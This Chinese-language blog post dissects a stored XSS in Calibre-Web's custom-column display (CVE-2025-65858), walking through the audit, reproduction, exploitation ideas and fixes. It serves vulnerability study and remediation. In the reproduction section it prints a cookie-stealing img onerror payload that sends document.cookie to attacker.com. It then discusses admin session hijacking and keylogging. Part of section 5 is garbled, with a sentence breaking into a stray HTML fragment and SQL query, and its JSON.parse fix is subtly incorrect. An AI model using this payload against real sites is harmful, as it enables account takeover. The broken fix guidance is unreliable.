存储型XSS漏洞深度剖析：从原理到Calibre-Web实例攻防
1. 项目概述：一次典型的存储型XSS漏洞挖掘之旅
最近在分析一些开源项目的安全状况时，我注意到了Calibre-Web这个项目。它是一款非常流行的、基于Web的电子书管理工具，很多朋友都会把它部署在自己的NAS上，用来管理个人电子书库，界面美观，功能也相当完善。然而，正是这种部署在个人或小范围环境中的应用，往往容易让人忽视其潜在的安全风险。这次要聊的，就是我在其代码审计过程中发现的一个存储型跨站脚本漏洞，它被分配了CVE编号CVE-2025-65858。这个漏洞的触发点比较隐蔽，但危害却不小，攻击者可以利用它窃取用户的会话Cookie，进而完全接管受害者的Calibre-Web账户，访问、下载甚至删除其私人书库。对于将Calibre-Web暴露在公网，或者在内网中与其他服务共存的场景，这个风险不容小觑。
漏洞的本质，是应用未能对用户可控的输入进行充分的过滤和转义，导致恶意脚本被持久化存储到后端数据库（如SQLite），并在其他用户浏览页面时被浏览器加载执行。整个过程，攻击者只需要“投毒”一次，所有后续访问受影响页面的用户都会“中招”，这也是存储型XSS比反射型XSS通常危害更大的原因。下面，我就带大家完整复盘一下这个漏洞的发现、分析、验证和修复过程，希望能给从事安全研究、开发，或是正在使用Calibre-Web的朋友们一些参考。
2. 漏洞背景与影响范围分析
2.1 Calibre-Web应用架构浅析
要理解漏洞，先得了解Calibre-Web的基本构成。它是一个用Python编写的Web应用，通常使用Flask或类似的轻量级框架。其核心功能是读取本地的Calibre电子书数据库（metadata.db），并通过Web界面提供图书浏览、阅读、下载、元数据编辑等功能。用户数据，包括书籍信息、阅读进度、书评、自定义字段等，都存储在这个SQLite数据库中。Web界面则负责渲染这些数据，与用户交互。
在典型的部署中，用户通过浏览器访问Calibre-Web服务。应用从数据库取出数据，填充到HTML模板中，生成最终的网页返回给浏览器。问题就出在“数据填充”这个环节。如果从数据库取出的数据包含了未经验证的HTML或JavaScript代码，并且模板引擎或前端渲染逻辑没有对其进行安全处理，那么这些代码就会被浏览器当作页面的一部分执行。
2.2 漏洞影响的具体场景
CVE-2025-65858这个漏洞的影响，直接关联到Calibre-Web的哪些功能和用户？
首先，受影响的功能。根据我的分析，漏洞点位于处理书籍“自定义列”数据的功能模块。Calibre允许用户为书籍添加自定义的元数据字段，比如“阅读状态”、“个人评分”、“购入渠道”等。Calibre-Web自然也要支持展示和编辑这些字段。攻击者正是通过向某个自定义列注入恶意脚本，来实现攻击的。
其次，受影响的用户。任何能够浏览到被“污染”书籍详情的用户，都会触发漏洞。这包括：
- 普通浏览者：在公网或内网访问该Calibre-Web实例的任何用户。
- 管理员用户：虽然管理员权限更高，但同样会中招。更危险的是，如果管理员会话被窃取，攻击者将获得对整个书库和应用的完全控制权。
- 其他服务用户：如果Calibre-Web所在服务器还运行了其他Web应用，且存在同源策略配置不当的问题，窃取的Cookie甚至可能危及其他服务。
最后，攻击的持久性。由于是存储型XSS，恶意脚本被保存在数据库里。除非管理员手动从数据库中清除恶意数据，或者应用升级修复了漏洞，否则这个“地雷”会一直存在，持续影响所有访问者。
注意：即使你的Calibre-Web只在内网使用，风险依然存在。内网不意味着绝对安全，一旦有恶意设备接入（如中毒的访客电脑），或攻击者通过其他漏洞（如钓鱼邮件导致内网用户中木马）进行横向移动，这个漏洞就会成为突破口。
3. 漏洞原理与代码审计切入点
3.1 存储型XSS的核心成因
跨站脚本攻击的根源，在于将用户输入“数据”错误地当成了“代码”来执行。对于存储型XSS，其攻击链条通常如下：
- 输入点：应用提供了一处用户可控的输入，比如表单、URL参数、上传文件元数据等。
- 存储：应用未经验证或验证不足，直接将输入存入数据库。
- 输出点：在另一个页面或给其他用户展示时，应用从数据库取出该数据，并直接嵌入到HTML响应中。
- 执行：受害者的浏览器接收到响应，将嵌入的恶意数据当作HTML/JavaScript代码解析并执行。
防御的关键在于，确保所有从不可信来源（用户）进入应用的数据，在最终输出到HTML上下文时，都被正确地“转义”。转义意味着将具有特殊意义的字符（如<,>,&,",'）转换成它们的HTML实体（如<,>,&,",'），这样浏览器就会把它们显示为普通文本，而非代码。
3.2 针对Calibre-Web的审计思路
带着这个原理，我开始审视Calibre-Web的代码。我的审计思路是“数据流跟踪”：
- 寻找用户输入入口：查看所有接受用户提交数据的路由（Flask中的
@app.route）。重点关注书籍编辑、元数据修改、评论添加、自定义字段管理等功能。 - 跟踪数据处理路径：找到处理这些提交数据的后端函数，看它们是如何清洗、验证、然后存入数据库的。
- 定位数据输出点：找到从数据库读取这些数据，并传递给前端模板（如Jinja2）进行渲染的代码位置。
- 检查上下文安全：最关键的一步，检查在模板中，这些数据是如何被使用的。是直接使用
{{ user_data }}，还是用了安全的过滤器如{{ user_data | safe }}？后者会告诉模板引擎“此数据是安全的，无需转义”，这正是风险点。
我很快将目标锁定在了处理书籍自定义列的逻辑上。自定义列的内容完全由用户定义，多样性极高，很容易成为过滤逻辑的盲区。
4. 漏洞细节深度解析与复现
4.1 漏洞定位与代码分析
经过一番搜索，我在Calibre-Web的代码库中找到了疑似的问题点。通常，自定义列的数据会在书籍详情页面被渲染。查看对应的Jinja2模板文件（例如book_detail.html或类似名称），我发现了类似下面的代码片段：
<!-- 假设的模板代码，用于说明问题 --> <div class="custom-column"> <strong>{{ custom_column.label }}:</strong> <span>{{ custom_column.value | safe }}</span> </div>或者，在JavaScript动态渲染的部分，可能存在这样的模式：
// 假设的前端JS代码，用于说明问题 var customData = {{ custom_column_json | safe }}; document.getElementById('someElement').innerHTML = customData.value;看到| safe这个Jinja2过滤器了吗？这就是“罪魁祸首”。它的作用是指示模板引擎：“这个变量custom_column.value的内容是安全的HTML，不需要转义，直接原样输出”。如果custom_column.value来自用户输入且未被净化，那么攻击者就可以在其中注入任意HTML和JavaScript。
接下来，我需要追溯custom_column.value是如何被赋值的。查看对应的视图函数（View Function），会发现它直接从数据库的某个表中读取了custom_columns表或类似结构的数据，然后几乎不做任何处理就传递给了模板。
4.2 本地环境搭建与漏洞复现
为了验证这个猜想，我搭建了一个测试环境。
环境准备：
- 部署Calibre-Web：我从GitHub拉取了存在漏洞版本的Calibre-Web代码（需要确定具体版本号，例如0.6.x的某个版本）。使用Docker或直接Python虚拟环境部署。
git clone https://github.com/janeczku/calibre-web.git cd calibre-web git checkout <vulnerable-commit-hash> # 切换到漏洞版本 pip install -r requirements.txt # 配置数据库和启动...（具体步骤略） - 准备Calibre书库：需要一个包含
metadata.db的Calibre书库目录。可以自己用Calibre软件创建几本电子书。 - 启动应用：按照Calibre-Web的README，配置好书库路径并启动服务。
攻击复现步骤：
- 登录并找到自定义列：以管理员或具有编辑权限的用户身份登录Calibre-Web。找到书籍的编辑页面，查看是否有“自定义元数据”或“自定义列”的编辑区域。
- 构造Payload：在某个自定义列的值中，输入我们的XSS Payload。一个最简单的测试Payload是：
但实际攻击中，攻击者会使用更隐蔽的Payload来窃取Cookie，例如：<script>alert(document.domain)</script>
这个Payload利用了一个无法加载的图片（<img src=x onerror="var i=new Image();i.src='http://attacker.com/steal?cookie='+encodeURIComponent(document.cookie);">src=x），在其onerror事件中执行JavaScript，将当前页面的Cookie发送到攻击者控制的服务器（attacker.com）。 - 保存并触发：保存书籍信息。然后，退出当前账户，以另一个普通用户身份登录（或直接在新浏览器隐私窗口中访问该书籍的详情页）。
- 观察结果：当受害用户浏览到这本被修改过的书籍详情页时，其浏览器会执行我们注入的脚本。如果用的是
alert，则会弹出对话框；如果用的是窃取Cookie的Payload，攻击者的服务器就会收到受害者的会话Cookie。
在我的测试中，成功复现了漏洞。注入的脚本在书籍详情页被持久化存储，并在每次页面加载时执行。
4.3 漏洞利用的深入探讨
仅仅弹个窗证明漏洞存在是初级步骤。作为一个有经验的渗透测试者，我会思考如何将这个漏洞的危害最大化，并评估实际利用的难度。
利用链构建：
- 会话劫持：如上所述，窃取
sessionCookie是最直接的方式。获得Cookie后，攻击者可以在自己的浏览器中替换Cookie，无需密码即可登录受害者账户。 - 权限提升：如果中招的是普通用户，其权限有限。但如果能诱使管理员浏览恶意书籍（例如，通过伪装成新书推荐链接），就能获得管理员Cookie，实现权限提升。
- 结合其他漏洞：如果Calibre-Web存在文件上传功能（如上传书籍封面）且过滤不严，可以尝试上传包含恶意脚本的SVG或HTML文件，并利用XSS将其加载，可能绕过一些内容安全策略（CSP）的限制。
- 键盘记录与钓鱼：通过XSS，可以在页面中注入一个透明的覆盖层或键盘记录脚本，窃取用户在该站点的所有按键输入，甚至伪造一个登录框进行钓鱼。
实际利用的挑战与技巧：
- CSP（内容安全策略）：现代Web应用可能会部署CSP头，限制脚本执行的来源。需要检查Calibre-Web的HTTP响应头。如果CSP配置较弱（如允许
unsafe-inline），则上述攻击依然有效。如果配置严格，则需要寻找其他可被利用的合法域名（如JSONP接口、第三方库CDN）来绕过。 - HttpOnly Cookie：如果会话Cookie设置了
HttpOnly属性，那么JavaScript通过document.cookie是无法读取的。这能有效缓解Cookie窃取。需要检查Calibre-Web的会话Cookie设置。 - 诱骗点击：存储型XSS虽然被动触发，但如何让目标用户（尤其是管理员）去访问那本特定的“毒书”呢？这需要一些社会工程学技巧，比如将书籍链接伪装成“系统异常报告”、“待审核内容”等，通过站内消息（如果存在）或其他渠道发送给管理员。
在我的测试中，当时版本的Calibre-Web通常没有设置严格的CSP，且会话Cookie可能未标记为HttpOnly，这使得Cookie窃取攻击非常可行。
5. 漏洞修复方案与安全编码实践
5.1 针对CVE-2025-65858的修复
漏洞的修复方向非常明确：移除错误的| safe过滤器，让模板引擎自动对输出进行HTML转义。
修复代码示例：将模板中的
<span>{{ custom_column.value | safe }}</span>修改为
<span>{{ custom_column.value }}</span>Jinja2默认会对{{ }}中的变量进行HTML转义，除非显式使用| safe。去掉它，就启用了自动防护。
对于JavaScript中内联数据的情况，修复更为重要且需谨慎：
// 错误做法 var customData = {{ custom_column_json | safe }}; // 正确做法：必须对JSON字符串进行HTML转义，然后解析 var customDataJsonString = {{ custom_column_json | tojson | safe }}; var customData = JSON.parse(customDataJsonString);注意，这里出现了两个safe，但语境不同。| tojson过滤器会将Python对象转换成JSON字符串，这个字符串本身是安全的文本内容。外层的| safe是告诉Jinja2不要对这个已经转成JSON字符串的变量再进行HTML转义，否则会破坏JSON结构。关键在于，最终交给JSON.parse()的是纯JSON文本，而不是可执行的JS代码。
更安全的做法是避免将用户数据直接内联到JS中，而是通过><div id="customDataElement">-- 这是一个示例查询，实际表名和字段名需根据Calibre-Web的数据库结构确定 SELECT id, book, value FROM custom_columns WHERE value LIKE '%<%' OR value LIKE '%script%';
6. 从漏洞分析中提炼的通用安全经验
分析完这个具体的CVE，我们可以提炼出一些对开发者和安全研究人员都极具价值的通用经验。
对于开发者：
- 永远不要信任用户输入：这是安全第一定律。所有来自客户端、数据库（如果数据最初来自用户）、甚至第三方API的数据，在渲染到页面之前，都必须视为不可信的。
- 明确“安全”的边界：当你使用
| safe,innerHTML,dangerouslySetInnerHTML时，你必须百分百确定该变量的内容是完全可控、或已经过严格净化的。对于来自数据库的、用户曾经可能修改过的字段，绝不要使用。 - 代码审计应关注数据流：安全审计不是漫无目的地看代码。选定一个功能点（如“编辑书籍信息”），从用户输入的表单开始，跟踪数据经过控制器、模型、直到视图模板的完整路径，检查每一个环节的过滤和编码情况。
- 善用安全工具：在开发过程中，可以使用静态应用安全测试（SAST）工具，如
Bandit（针对Python）、ESLint的安全插件等，来扫描代码中常见的不安全模式，如未转义的模板输出。
对于安全研究人员：
- 关注流行开源项目：像Calibre-Web这样用户量大的开源项目，是漏洞挖掘的“富矿”。其代码公开，且安全投入可能不如商业软件，容易发现漏洞。
- 从用户功能入手：不要一开始就漫无目的地翻代码。先以用户身份正常使用应用，了解其所有功能。然后思考：“如果我是攻击者，我会如何滥用这个功能？” 比如，看到“自定义列”，就想“这里能否注入代码？”
- 搭建真实测试环境：Docker使得搭建复杂的测试环境变得极其简单。一个贴近生产环境的测试环境，能让你准确地验证漏洞的触发条件和影响，并编写出可靠的漏洞利用代码（PoC）。
- 负责任的披露：发现漏洞后，应通过官方渠道（如GitHub Security Advisories、项目维护者的安全邮箱）私下联系开发者，给予合理的修复时间（通常90天），然后再公开披露。CVE编号的申请可以通过项目维护者或像MITRE这样的CVE编号机构（CNA）来完成。
回过头看CVE-2025-65858，它本身并不是一个技术复杂度很高的漏洞，但其存在生动地展示了“一个小疏忽可能导致大问题”的安全现实。在Web安全领域，XSS这类基础漏洞之所以经久不衰，往往不是因为开发者不知道，而是在复杂的业务逻辑和快速的开发迭代中，一时疏忽忘记了某个角落的上下文安全。作为开发者，将安全编码实践内化为肌肉记忆；作为安全人员，保持对用户输入和输出上下文的高度敏感，是我们共同构建更安全网络环境的必修课。